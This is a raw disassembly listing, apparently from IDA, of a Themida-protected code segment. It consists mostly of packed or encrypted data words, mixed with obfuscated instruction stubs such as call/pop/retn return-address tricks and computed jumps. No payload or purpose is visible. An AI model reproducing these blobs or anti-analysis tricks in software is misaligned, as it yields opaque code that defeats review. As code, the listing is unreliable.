		dd 96E006BDh, 24480A0Ah, 0FF65B357h, 0BDB64Dh, 7EA38CB6h
		dd 0BDB8FCh, 0A50ED4B6h, 0F06BCD88h, 3537232Fh,	78D61477h
		dd 0A8000005h, 0C16E2B47h, 0C6A7E325h, 0B29DB600h, 0BA545FD9h
		dd 27713459h, 0C92AB686h, 81CC6EAFh, 8D120B1Ch,	298B1C9Ch
		dd 0A7D27492h, 9DB5FFECh, 7C55183Ah, 0B994E60Ch, 377395EBh
		dd 0DB60002h, 8336A822h, 0F57A8524h, 4F389F99h,	7EF61FE9h
		dd 7B55FC5h, 0FFE00EBCh, 918A1752h, 8E5AC107h, 0EE28666Dh
		dd 19ED5D6Dh, 1BCFB84Fh, 59DF9AB8h, 48F321EAh, 79D6892h
		dd 0CC676D19h, 0DF96B51Eh, 65A4C82Bh, 0C918AC3h, 0C9379D1Bh
		dd 0AD0B42E6h, 0FE2A6302h, 3BF3B41Ah, 0D2FC4566h, 2100000Bh
		dd 58FB4F06h, 87287E3Bh, 0B112A8E1h, 0E142D89Dh, 32B90D40h
		dd 0BFF2937Fh, 0EBA6C86Bh, 1950F45Fh, 4A03228Dh, 48F268FCh
		dd 0B607FE50h, 0FF4FF432h, 0F88155Ch, 56F016ADh, 0B6000427h
		dd 2B94321Dh, 59FA4009h, 6B54723Bh, 0BB2880C9h,	477B3h
		dd 143175B6h, 0CA6AB600h, 54335571h, 2EBCA814h,	565E9805h
		dd 72BCA814h, 2E1A1899h, 0E11F8FEBh, 30F84297h,	54C42935h
		dd 2DA6h, 0B5E77900h, 0EBAED80Eh, 0D9B60004h, 201954F6h
		dd 8F396783h, 0B600058Bh, 7F365679h, 0DA00F932h, 568A0h
		dd 0A7F15AB6h, 15D8h, 0B5E7F300h, 3BAED80Eh, 9B60009h
		dd 7A65812Eh, 1A1390D5h, 5CFF959Eh, 86CCD8F4h, 0D1CA3A2Bh
		dd 0B408CB37h, 1DE6C5F9h, 0AFDh, 26642D4Ch, 1195D07Dh
		dd 47C38AAEh, 0B7F3B6DCh, 0E0266B0Ch, 9BBC561Bh, 4FEF50D6h
		dd 791B8402h, 2A49EA30h, 0A5472763h, 7FF2763h, 70DF1DB6h
		dd 0B9C3B5E7h, 0AF57D781h, 0CBFFE843h, 0FFF6BAB1h, 2AF88B5h
		dd 9D0682A1h, 3E6FB4F1h, 0FFF79494h, 0ECC56EB5h, 0F00AB05Eh
		dd 0B5FFF6B8h, 0F71C1CAEh, 4DE6B5FFh, 0C00692BDh, 0DD4B3145h
		dd 4DE2D546h, 7A51FE08h, 11F18201h, 22648238h, 0DD4AFBE6h
		dd 491C92DCh, 0C045315Ah, 40FB41D7h, 9B357ECh, 0E3F3D9E2h
		dd 355377A0h, 0F3DA9793h, 8C26DE3h, 52E0630h, 0A7049448h
		dd 961451FEh, 91DD8735h, 0FB5AC149h, 9DE0FE18h,	5076C145h
		dd 771810AAh, 41EAE3F4h, 6D08B268h, 57EA9C77h, 6FB7B7FCh
		dd 34EA9C77h, 4DD65B1Eh, 24BE92Ch, 68458429h, 3E848C7h
		dd 72A490A2h, 886B299Bh, 0CF0DABE6h, 176h, 0EB5E750h, 3251B2D8h
		dd 0B3E5367Bh, 0FFF6B6B5h, 7A38CB5h, 0B5329FD9h, 51ECC220h
		dd 171A9h, 0B0F853B6h, 0F23352D3h, 85961B52h, 5AA81C4Dh
		dd 0F5EEFF4Fh, 7014BB1h, 0C0A077EAh, 1736F93Fh,	8E09D15Eh
		dd 27DD4B67h, 0F0B9DCC7h, 0B1D7C1E6h, 63B54D26h, 7D202788h
		dd 0E208F634h, 4BA06058h, 0AF0922DDh, 0F6145D00h, 31CC4164h
		dd 71A7F918h, 2ECD4892h, 23880496h, 91D87B82h, 238BAA15h
		dd 80A861AAh, 0F9261FB2h, 24E1826Dh, 0C8E14E03h, 99912BDFh
		dd 6B04963Bh, 7CDF68C0h, 0C3E721C5h, 8104963Bh,	5B71096h
		dd 0D05D1836h, 8E38EEC7h, 0B3E620Fh, 4CD55AF5h,	79DA6029h
		dd 0D00E93DAh, 9D024FEFh, 0F6DA2C8Ch, 0F30B3E61h, 0AC1759DAh
		dd 0C768C089h, 19A80CA4h, 1DD59CBFh, 9B0CF76Dh,	3D6EB3F6h
		dd 0B718C644h, 885EDA97h, 7F922F32h, 3C7C8E34h,	67F922Fh
		dd 9B3C8B2Dh, 1A399A20h, 0AFF4BDDBh, 7E61857Eh,	523772DAh
		dd 0E9414A27h, 1FCBB8F0h, 0AC5357F1h
		dd 0E7317F92h, 0B4F60388h, 0CE6A43F1h, 0D9A2B038h, 0CB54C105h
		dd 3F60A1C4h, 3FC2D72h,	0B8791C87h, 9D2FDB96h, 5D9A39Dh
		dd 4ED3CC67h, 3C5C6FCDh, 6FF2875h, 800BAE0h, 0FA05D9A3h
		dd 0EB1DC751h, 0C81D1CCh, 86099DB6h, 6Ah, 74B91660h, 0A9C90AB9h
		dd 23CFCB7Dh, 9AB50C81h, 30BA151Eh, 7DC68898h, 87AB1CAAh
		dd 63D156C2h, 8C652C50h, 706D2C5Eh, 0FC57B600h,	0E621ABB7h
		dd 76F2940Eh, 5E34BF60h, 0D8593984h, 0E7A2CF50h, 0F5BCE0C3h
		dd 53397FA8h, 65284AB5h, 5F8B0533h, 1059FCE7h, 0D8AC0F98h
		dd 8E6AAEh, 6FF58B6h, 8E6AA6E0h, 0FF58B600h, 5CFFA483h
		dd 314BF115h, 0AF57D6F9h, 0D44E8CBh, 1A9E77A0h,	0CF694AB0h
		dd 4D266F0Eh, 43F85CEBh, 0DE7665A7h, 0E34CB5FFh, 0E3E9B5C7h
		dd 0DB135E00h, 15B7FDDBh, 0B5FFF015h, 936B44EFh, 8D81E3D1h
		dd 668C2C5Fh, 1096DF7Dh, 26C48DAFh, 0E8406AD4h,	43D5DF46h
		dd 83F527E0h, 0EE337E20h, 0E1515BDh, 44EFB600h,	0E20DBF6Bh
		dd 0A0BCA83Ah, 93355377h, 0BCA83B97h, 0F556C26Dh, 0A84B3175h
		dd 0F9CA6ABCh, 893D165Fh, 4AE1D963h, 88A3BCA8h,	339C3A20h
		dd 87805A1Fh, 2A12F703h, 16F177A1h, 0ECC350C3h,	181CDE43h
		dd 0B4C350C3h, 684456DFh, 0A701273Ah, 0CD52173Ch, 34BE5CDCh
		dd 81000000h, 0D80EB5E7h, 0E02738B2h, 781BFA57h, 1AD4E145h
		dd 6A9C05C2h, 0AF57E82Eh, 0D6423B14h, 159910h, 63C06BB6h
		dd 23E2h, 80F20400h, 0F933FEB9h, 0E74D56C2h, 0AED80EB5h
		dd 0B600093Bh, 65812E09h, 4772DA7Ah, 0E7D0373Fh, 0F922766Fh
		dd 0F3155CFFh, 0F9B4E409h, 26D3AC0Fh, 75000007h, 0A40F9BD2h
		dd 0D37CCA8Fh, 5AEFCB5h, 359E2C69h, 46CD5914h, 0F3BEDF33h
		dd 276A0CB7h, 551C40E3h, 86CF6ED1h, 446A400h, 0B6080304h
		dd 193B8FEh, 0E65DFF20h, 0ED5386C0h, 0AA15B5FFh, 0C35CC184h
		dd 0B8F0E9A0h, 0BD4BBD96h, 7846C7BDh, 531E40A3h, 0A4D242C5h
		dd 46C82662h, 5A331C78h, 0F3012AACh, 0A3B91471h, 525DEF75h
		dd 307EEE66h, 3A0E98Fh,	2A95312Ah, 76D5430Ah, 0D77107B5h
		dd 7EEE65D3h, 79AD86B1h, 96A08ACFh, 34577885h, 7D66847Dh
		dd 907397DEh, 8E74A4EDh, 994F0625h, 23761B2Dh, 7E338C2Fh
		dd 0CD000006h, 0FCA7E3AAh, 2B941257h, 5DC6440Dh, 8D367431h
		dd 9E65A1ECh, 5B1637DBh, 8FC264CFh, 0BDF4983Bh,	0EEA7C669h
		dd 0EC1ECC58h, 0B60803ACh, 0FFEB5096h, 0EDF3155Ch, 23F9B4E3h
		dd 63F3F80h, 0EB8E0000h, 96BB64A2h, 4CEC57D3h, 701E8105h
		dd 2D4EF135h, 1C5DDA60h, 821855F6h, 0FE4C0121h,	287E3755h
		dd 19ADE487h, 0ED2D5F8Dh, 0D7B60803h, 5CFFAA91h, 6E0EF115h
		dd 0A29FA27h, 0D4CDDE43h, 0F626E744h, 346F994Dh, 2AB607F9h
		dd 0B3E5A8C9h, 44092A8Dh, 0C86CDF6Bh, 83295773h, 7F94179h
		dd 802803B6h, 0B02CDB46h, 218EA9BCh, 0B02CDDD9h, 9112F9BCh
		dd 940E4CFh, 0C0CBEA4h,	0F6BCB02Dh, 6034645Dh, 1F878474h
		dd 5F3331BBh, 0DCFBC523h, 0A819F2B7h, 0AD6FC980h, 93h
		dd 662B4CB7h, 6348E039h, 5CF02101h, 52B9C3E7h, 30B5FFEDh
		dd 3967A107h, 728506FFh, 3B4D79C2h, 8BAF0E90h, 0D354D972h
		dd 862CDA61h, 0AF0E4444h, 0F1153E8Bh, 0AF0E5357h, 9206318Bh
		dd 77673E48h, 0F25D925Ah, 148EBD4h, 327B1A85h, 0B2440496h
		dd 0D6AF0C16h, 54Dh, 76B4FD9Ch,	0A1E5A0CDh, 97135AFEh
		dd 0C743062Ch, 30763B5Ch, 6B0C06ABh, 1F3FE026h,	0C96BD452h
		dd 0FA993A80h, 75F777B3h, 804D7D3h, 0C06FADB6h,	0E8DFh
		dd 0B7D83B00h, 0BA75BEFAh, 27713459h, 5377CC60h, 7F8EA29h
		dd 14B2D8B6h, 7F8B6F2h,	1BA38CB6h, 0B607F91Fh, 0ADE484h
		dd 627CD717h, 64C00A92h, 0EC1AF35Ch, 0AAEE1846h, 98B60890h
		dd 911317BFh, 46F1B608h, 84A708D2h, 99B619CDh, 8C4657DCh
		dd 0F2EE1670h, 0AD178120h, 0FC2A6302h, 0E976697Ah, 128676F7h
		dd 1E44E8B1h, 8190DDE2h, 832710DEh, 8D8D3F65h, 77B6080Fh
		dd 86CB6BDCh, 3E39D412h, 200BBCB0h, 219A3A83h, 30751A85h
		dd 0F47EBAF3h, 5DF40C4Eh, 0D9D23A62h, 1B9F9B2Dh, 0CA65BCB0h
		dd 24A5986Eh, 3C9FC358h, 0DBCC5118h, 96AEC6E2h,	0C1E2E5B4h
		dd 46040h, 0C188AF00h, 0F0B5DA45h, 266F09AAh, 56133FE0h
		dd 83CE6FD0h, 19F9B807h, 4EF13578h, 7A25612Ch, 0AC1793DAh
		dd 0E27AC089h, 5CACE78h, 72B8B608h, 0D762A6D5h,	1C18AF57h
		dd 0C2AF57D7h, 730C52A4h, 68C4C94Ah, 58296AAEh,	0E7FF58AFh
		dd 0AEACDFAEh, 5CEB4D90h, 79A743F8h, 41582AFFh,	0D7C06D20h
		dd 110B821Fh, 4524187h,	0C214B608h, 5FF379DCh, 27FDC01Ah
		dd 440D2B9Ch, 0A46ACEDFh, 9238268Bh, 8C53068h, 0A13912B6h
		dd 0C665A0F5h, 5CC35515h, 36487039h, 56F304E3h,	3C3EC55h
		dd 77120000h, 2A47E83Eh, 0D078DB6Fh, 8CA20D99h,	0B1D27DC9h
		dd 9021AEFCh, 1EACE182h, 42D895B5h, 0BC0A43E1h,	0ED397013h
		dd 6159E379h, 23B60806h, 5CFF3EE5h, 0AD0F8815h,	2C4AF016h
		dd 57D79E9Ah, 6DCB64AFh, 8189Bh, 0C541EAB6h, 6B121A03h
		dd 0A5E88912h, 589DBE61h, 19867F3Ah, 690C3F90h,	59933720h
		dd 5AFFB17Fh, 0D5BFF945h, 0D85CFFEEh, 57D76AAEh, 6FF58AFh
		dd 2C650899h, 0F98F2D9Eh, 57D74B4Fh, 0AD1E39AFh, 33D7C08Dh
		dd 0FFF66689h, 0AEF35CB5h, 0FFF668ACh, 6AF04B5h, 77CD18F4h
		dd 29FF14h, 0E7400000h,	0AED80EB5h, 0B600054Fh,	2E80C711h
		dd 785DD9FEh, 0F8250E30h, 90367Eh, 38F952B6h, 776F4E3Ah
		dd 103A914h, 0BA720000h, 22763F59h, 7D1FDE7Dh, 0D74B4FF9h
		dd 1E39AF57h, 0B6AFF825h, 1797B869h, 57D6B5F5h,	0DF698FAFh
		dd 0AF57D6DBh, 0BC958EA9h, 0C68FAE77h, 0D228D59h, 1C3FE048h
		dd 0C82BD155h, 9B47ECA5h, 57D72961h, 47301BAFh,	0DBEE17D1h
		dd 96B5AF57h, 5EF33657h, 0AC85961Bh, 96B51607h,	605952DFh
		dd 1BDA79DAh, 0DB583178h, 0AD59E252h, 0FFEBF01Bh, 57F1D2B5h
		dd 1E81251Eh, 12F8307Dh, 0FC3C4EF4h, 0C6B5FFEBh, 0A00D48E5h
		dd 29449E77h, 50F22985h, 3C901781h, 0F926630Fh,	0E913B7A0h
		dd 0BCAB3DC0h, 927DA982h, 0C56EBCF1h, 893FE9A4h, 17EC617Eh
		dd 2432B94h, 0F7920000h, 0AAC768BEh, 50F85BEFh,	0C228D19h
		dd 3152FD49h, 10A12E7Ch, 9E2C6102h, 0C2581535h,	3C8AC361h
		dd 6DB9F093h, 0E1D963F9h, 0A3B60807h, 5EFFBE65h, 6C0CF713h
		dd 9AFF825h, 8D3F6583h,	0AF57D78Dh, 0D35CDC77h,	0E2CDF9B0h
		dd 23A90F46h, 0EB5E704h, 54FAED8h, 1A35B600h, 0A72F6AECh
		dd 6A60CB2Fh, 77815DCEh, 2D315E41h, 9A6CCCEEh, 0B5FFFF9Ah
		dd 88D45D36h, 0E24F0A27h, 0DFCB6FC9h, 3E1477FEh, 103h
		dd 0F0B9DFC0h, 69097AB3h, 0AAEFF24h, 155CFF21h,	0DA761788h
		dd 9ADABF9Ch, 9A4039F3h, 0F9CECA7Ch, 9BB4AF57h,	4CB30E43h
		dd 0FB3DE49Eh, 0DA5CE08h, 5FFEAF58h, 0C2F9016h,	0A102D845h
		dd 0DD6ACE87h, 8F50257Fh, 28AA2A0Eh, 738B78ECh,	312AD28Bh
		dd 21CA4395h, 0FEC5A488h, 58284C4Ch, 241D36AFh,	9AC06EF4h
		dd 27CECA7Ch, 9BB4AF58h, 58283773h, 0F6220DAFh,	380970h
		dd 0CA50FBB6h, 13B5C371h, 0B6003817h, 0BD6942EDh, 0AAD6BF0Bh
		dd 156785BCh, 2370E802h, 1008B25Ah, 0F2BCAB93h,	59BA6059h
		dd 8E317538h, 0C24941EDh, 0A2CA8B09h, 3364C98Ch, 0CD49805Ah
		dd 4163B209h, 3202B068h, 1192EC61h, 0F8B0h, 69204700h
		dd 98DD72DDh
		dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h
		dd 12BD0944h, 44EF3B72h, 4AD26821h, 9327690h, 0CA10B608h
		dd 9B5EFF6Dh, 316AB7FAh, 0C261C258h, 0FF103F8Bh, 1788155Ch
		dd 0F635DC74h, 3C5E9D25h, 0D044C743h, 0C711BF6Bh, 85A401Ch
		dd 2B6F9765h, 19AF5888h, 0D670FA3Eh, 0B608A9C7h, 940D92BDh
		dd 410830F1h, 34D2CBDCh, 0C105ADCBh, 0C058B1E3h, 88A10EE7h
		dd 0FD3B7617h, 0C089AC17h, 0D598B91Ah, 997AE043h, 0E167B1F4h
		dd 0D0A7D72Eh, 0CF79A747h, 0D0A7D6CBh, 0C3449EB9h, 0EF56B30Bh
		dd 57D8B3E5h, 26642D50h, 7397DE7Dh, 2BA3EE90h, 0B8C9F589h
		dd 72D147CAh, 5BD89DB1h, 43E0A5CAh, 0A60B42E2h,	2AA90AA3h
		dd 5E65CEE7h, 8F30763Fh, 0CA0B2DECh, 0A409E2ABh, 61F27B73h
		dd 0FC0F5D60h, 0A259E03h, 0
		dd 713459BAh, 0BDBDFB2Ch, 1158FFC6h, 3970138Ch,	40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 2368FA4Ah, 89000007h, 89562414h,	4C681E6h
		dd 83000000h, 348704EEh, 34895C24h, 7C106824h, 0C890000h
		dd 77916824h, 2C890000h, 229CBD24h, 0EE8906B0h,	3C62685Dh
		dd 24890000h, 24048124h, 4, 0B9515659h,	0B3F578Fh, 4244C29h
		dd 8418F59h, 8F084181h,	0FF0B3F57h, 81592434h, 4C4h, 2434FF00h
		dd 4C4815Eh, 0E9000000h, 0FFF8497Ah, 4F72BB40h,	428A4FA6h
		dd 0E3DA6F7Bh
; ---------------------------------------------------------------------------
		pop	esp
		js	short loc_5CCEAF ; CODE	XREF: Themida_:005CCED7j


loc_5CCE63:				; CODE XREF: Themida_:005CBC2Cj
		mov	eax, 6B033D5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 2E3A8285h, 6C432F87h, 5FE0B3DDh, 44A114A4h, 396D2386h
		dd 75ABC1CAh, 2B3ADFAh,	53DAA344h, 15E40B8Eh, 7089ECCFh
		dd 4297D690h, 77809E0h,	79AE4198h, 79EFDEDFh, 3D255224h
		dd 304DECC9h
		db 0Bh,	0FFh
		db 0BDh
; ---------------------------------------------------------------------------


loc_5CCEAF:				; CODE XREF: Themida_:005CCE61j
		sbb	[ecx+2Bh], dl
		mov	cl, 2
		adc	bl, [esi-321DE8A4h]
		out	14h, al
		xor	eax, 9006C8AAh
		sub	[ebp+ebx*2+56h], dh
		mov	edi, 621977A7h
		scasd
		xor	al, 59h
		mov	ebp, 8D8D080Ch
		sub	eax, 0B406B035h
		jg	short near ptr loc_5CCE61+1
		lea	edi, [ecx+6606A805h]
		mov	edi, 85C72505h
		imul	edx, [eax+ebp*4], 652C06h
		add	[edx+0], ch
		push	esi
		call	sub_5CCEF7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCEF7	proc near		; CODE XREF: Themida_:005CCEEFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CCEF7	endp

; ---------------------------------------------------------------------------
		db 13h
		dd 0DD7DCDF4h, 0E7816612h, 85C7090Ch, 6A80BBDh,	0
; ---------------------------------------------------------------------------
		mov	al, 0BCh
		push	dword ptr [ebp+6A80E01h]
		movzx	eax, dx
		call	dword ptr [ebp+6A820DDh]
		mov	esi, [ebp+6A82F81h]
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_5CCF88
; ---------------------------------------------------------------------------
		db 92h
		dd 90A1689Dh, 0E411EC62h, 608091Dh, 3C978420h, 0F2D0E058h
		dd 47A8F2B5h, 0A0C26B21h, 73A1DDB2h, 9CE67581h,	0F211F234h
		dd 0C835AA8Ch, 0F9F8FD2Ch, 10097572h, 0C5C671EBh, 84539A84h
		dd 73620118h, 0EE4AF898h, 0A239D258h
; ---------------------------------------------------------------------------


loc_5CCF88:				; CODE XREF: Themida_:005CCF3Dj
		lea	ecx, [ebp+6B0361Ah]
		mov	ah, 17h
		mov	[ebp+6A805B9h],	ecx
		jnz	loc_5CCFA2
		mov	[ebp+6A833E5h],	edx


loc_5CCFA2:				; CODE XREF: Themida_:005CCF96j
		mov	dword ptr [ebp+6A81469h], 5D9Ch
		push	0
		push	edi
		call	sub_5CCFB7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCFB7	proc near		; CODE XREF: Themida_:005CCFAFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CCFB7	endp

; ---------------------------------------------------------------------------
		aaa
		jnb	loc_5CCFD4
		and	eax, [ebp+6A801A5h]


loc_5CCFD4:				; CODE XREF: Themida_:005CCFC8j
		mov	dword ptr [ebp+6A80BBDh], 0
		or	ah, 99h
		jmp	loc_5CCFEB
; ---------------------------------------------------------------------------
		dw 0B477h
		db 7Eh,	16h, 0C0h
; ---------------------------------------------------------------------------


loc_5CCFEB:				; CODE XREF: Themida_:005CCFE1j
		push	dword ptr [ebp+6A81561h]
		adc	eax, 50385984h
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	eax
		call	sub_5CD008
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD008	proc near		; CODE XREF: Themida_:005CD000p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5CD008	endp

; ---------------------------------------------------------------------------
		dd 8D01BBEFh, 6A801ADh,	95FF006Ah, 6A81B31h, 0BEBC08Bh
		dd 51FDC756h, 749A87ACh, 0E9935FFBh, 1Ch, 287C79ECh, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CD568
; ---------------------------------------------------------------------------
		db 0AFh, 88h, 0C1h
		dd 0F0B5DA45h, 266F09AAh, 56133FE0h, 83CE6FD0h,	19F9B807h
		dd 4EF13578h, 7A25612Ch, 0AC1793DAh, 0E27AC089h, 0CCACE78h
		dd 72B8B608h, 155CFFD5h, 3B761788h, 0FD9E01EFh,	0C93A73B0h
		dd 6EBFE4A9h, 8FC665CAh, 0ABE28122h, 0B5F09D06h, 7E618568h
		dd 0AC0791DCh, 1059FC03h, 420B298Ah, 70395BC4h,	15D07233h
		dd 0AFC93A73h, 7760B9E6h, 7D8F3553h, 0AF57D73Dh, 0A6E22C07h
		dd 9CAF57D7h, 6750193Bh, 268F5231h, 0AFD0337Dh,	43E4BDE2h
		dd 9F88A10Eh, 5EF69619h, 9E179467h, 0C6443DF3h,	53773E5Dh
		dd 1C81C870h, 3C3EAD0Bh, 0AF57F9F9h, 81CB5443h,	0BE7CC077h
		dd 0CD6B11CCh, 0DFD37D69h, 6B9812h, 0FFA30000h,	0EF1155Ch
		dd 0AA83206Dh, 5E419D0Eh, 0F029763Fh, 0D768AEB8h, 1A3BAF57h
		dd 3559CA57h, 0C8673370h, 71386067h, 4802FB2Ch,	0C4B0C263h
		dd 2312DFD6h, 1, 9F52FF04h, 294FB0F9h, 3C2A7760h, 0D7347496h
		dd 250EAF57h, 42072CF3h, 6B2E44DDh, 7A3F54BFh, 0D7B4E435h
		dd 1F268F7Ch, 0D59CBF72h, 20665F48h, 1195DC7Fh,	9B5EFF2Ah
		dd 3D6EB3F6h, 2946DF44h, 0EB40C76Ch, 6F22434Ah,	9CD578DBh
		dd 0A3EA8E17h, 6BAFD907h, 59AF57D7h, 0D7918933h, 0D873AF57h
		dd 76DA49EFh, 6748149Dh, 0F6278CC5h, 0D4EAF6A2h, 78ED12DFh
		dd 36000000h, 8E135EFFh, 96B27315h, 605952DFh, 0AEEA1CBAh
		dd 94AF57D6h, 278E7DBBh, 45E6EDB6h, 7011B208h, 0EB906BDCh
		dd 8797ADAh, 0F3302960h, 0D4591C32h, 6605EE74h,	9112892Fh
		dd 0DF486581h, 6D6012h,	0BABB0000h, 0D6AEEA1Ch,	0BB94AF57h
		dd 0DC91B27Dh, 92ADAC2Eh, 2C318DADh, 0E6861F8Ch, 8DA102AFh
		dd 95BA6BC8h, 278C53D0h, 0A61FF7Eh, 0CC81A2A9h,	0DA93B51Eh
		dd 0FFCFF45Eh, 0D23BF652h, 0D53DBE3Bh, 0E604FDB8h, 58B064A4h
		dd 1CF55EAFh, 0B0505797h, 4CBAAF58h, 0D590BD26h, 73B75F48h
		dd 51AF58B0h, 58D9B2E6h, 0DF0F6E5Ah, 18912h, 0FF920000h
		dd 12931059h, 72F53A73h, 0B7D1D859h, 119ED776h,	209B2F18h
		dd 3093378Ch, 0C0D94603h, 0E1788268h, 0A3B5FFE3h, 92345288h
		dd 0B5FFE496h, 662B4B6Ch, 0A1F7E039h, 8BC261C2h, 0B8F1943Fh
		dd 0E3B5F37Bh, 0DB01B5FFh, 991F5AF8h, 0DB7A8122h, 0BCCE7492h
		dd 0B5FFE47Ch, 0C14BED46h, 50FE3F5Eh, 6BF73C15h, 0DABE688h
		dd 65CA83A2h, 8E369ABCh, 692CCCE7h, 0D44DD2CBh,	0FFBBF8B1h
		dd 0F150DF40h, 0B1D4DB44h, 1E0AA2F8h, 0F914777Bh, 12Fh
		dd 0DFDF4983h, 38AF219Fh, 36625B16h, 0EB5E7EDh,	723AED8h
		dd 36E1B600h, 5C1538E9h, 9EBF20CEh, 0BBDA45D3h,	4AEBD4F2h
		dd 17819A07h, 148EBB4h,	0EFB01D9Ch, 0BE0C45E8h,	77E6221Eh
		dd 3547ED14h, 0EA18785Ah, 49418908h, 3BB5FFE4h,	587A9810h
		dd 0CD000000h, 0DF0BB6E7h, 57D74DADh, 971C372Fh, 0A1C22D4Bh
		dd 0D6E622ECh, 0FBDC2F57h, 9A931059h, 0B9F177A1h, 0FF2F57D6h
		dd 5B9DDF40h, 441F511h,	8205937Bh, 8F709611h, 430A2EE3h
		dd 4FD4CDDEh, 0F610DA5Eh, 0AF587192h, 0A543C770h, 70CDCD7Fh
		dd 9CB7AF58h, 85B31Ch, 0E7960000h, 81B9C3B5h, 43AF57D7h
		dd 111A1EE8h, 0D11E4258h, 0E5B8C2F8h, 0DFB60102h, 0B1E913B9h
		dd 93B60102h, 31A1EB8h,	4FE8B601h, 0B21DC956h, 0D25DDB92h
		dd 3ACFAB3h, 42842960h,	0B6010441h, 337D268Dh, 4377395h
		dd 9F29B601h, 0B601049Bh, 133CCE69h, 327B1A85h,	5AE153F4h
		dd 3A491AACh, 0DD1FBCB1h, 12D0E1A2h, 0C977A1D6h, 3D60C16Eh
		dd 83282F74h, 0A2910322h, 4962CF86h, 4310AA50h,	1C3614Dh
		dd 0E7AB9016h, 0AED80EB5h, 0B6080D95h, 0D773014Bh, 0E1FC52E3h
		dd 441A16E9h, 96025873h, 0C162CF68h, 8BCE63A2h,	8E1CF526h
		dd 0A6C70625h, 7C5546EBh, 0D73F3737h, 9456E4D4h, 640CF642h
		dd 0B6E2F453h, 2E4D54DDh, 0E3254367h, 0E4D4F9A7h, 3151B29Dh
		dd 0B2E6377Ch, 5C467C8h, 0E9362F66h, 0D25F1A38h, 6A85D70Fh
		dd 0F853E8B4h, 54DDB6E2h, 23672E4Dh, 7C1CDD80h,	0BD75C35h
		dd 6CCC85A8h, 3E3h, 0CBB0C600h,	8C1158FFh, 0F4397013h
		dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
		dd 60CD84A4h, 4AD792BFh, 45368FAh, 0C890000h, 0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 6856240Ch, 64D72BC0h
		dd 0C6814E5Eh, 69CB0A5Dh, 0FFCCBD55h, 0EE29C7F1h, 5EF3895Dh
		dd 240C8B54h, 5604C483h, 8952DE89h, 85189F2h, 0C8B5E5Ah
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 2434FF5Ch
		dd 4C4815Bh, 0E9000000h, 0FFF8426Eh, 21CB5B5Ah,	62E9DEC7h
; ---------------------------------------------------------------------------


loc_5CD568:				; CODE XREF: Themida_:005CD058j
		mov	eax, 6B03AD4h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0E8h, 0BAh, 0D5h
		dd 0A27D66Dh, 94CB3010h, 9363AA71h, 0D9867119h,	7B9B770Bh
		dd 3591AF08h, 74D83E66h, 6B48775h, 3224C04h, 719B0601h
		dd 0CEF77C2Bh, 59AD8056h, 8B48F107h, 7CD3BF5Bh,	84455372h
		dd 78491B13h, 0ACAF050Ah, 0F9654D18h, 0DDD3D34Ah, 8564B661h
		dd 9960D57h, 10EB18h, 3	dup(0)
		dd 8B000000h, 6860FC0h,	81000000h, 5F38CCE6h, 0D9BD830Ah
		dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
		dd 42Dh, 7B58589h, 9D8D06A8h, 6AAA1ACh,	585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535017h, 42Dh,	7B58589h, 9D8D06A8h, 6AA9E9Bh
		dd 585BD3FFh, 8166CEB6h, 8BDF83F6h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 1AB67F7h, 43D38833h
		dd 6E960E5h, 0B5000000h, 502E388Fh, 0EF8166E1h,	29612BF9h
		dd 0A8307185h, 58D8B06h, 6606A828h, 0E9A59FBAh,	12h, 25083EF6h
		dd 513DA8E8h, 50CB1C6Ch, 94561504h, 0F9839A9Bh,	0B1840F00h
		dd 8B000000h, 0A8167595h, 0F08B6606h, 2C3D8B64h, 66000000h
		dd 7891DA81h, 840FFF0Bh, 94h, 6A3F8Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 7F0EB2C3h
		dd 0DAD63271h, 89360034h, 0A833B595h, 6AC03206h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 9F8EC353h, 0F2C7D525h, 10E992h, 0F3870000h, 0C54E937Dh
		dd 4D4C64DCh, 8B586D34h, 0AAF3D627h, 5E860h, 95800000h
		dd 0E98F5D0Bh, 14h, 0AE296CECh,	496487E6h, 380C927Ah, 3FCECC05h
		dd 710DF218h, 850F58h, 61000000h, 50414935h, 81665353h
		dd 5A8733D2h, 15D585C6h, 6A4706A8h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C737C352h
		dd 0F231C84h, 689h, 55958900h, 6806A832h, 0DB3A559Eh, 81D68B66h
		dd 0DDB22434h, 0B52907ECh, 6A83335h, 1C09958Bh,	0B5FF06A8h
		dd 6A80F95h, 1E9B58Bh, 858D06A8h, 6AB6971h, 0FFF28B66h
		dd 0DB589D0h, 8906A828h, 0A8174985h, 0A5BA6606h, 21B58B6Dh
		dd 0C606A831h, 0A815D585h, 0B58B5306h, 6A80D39h, 4E68F48Ah
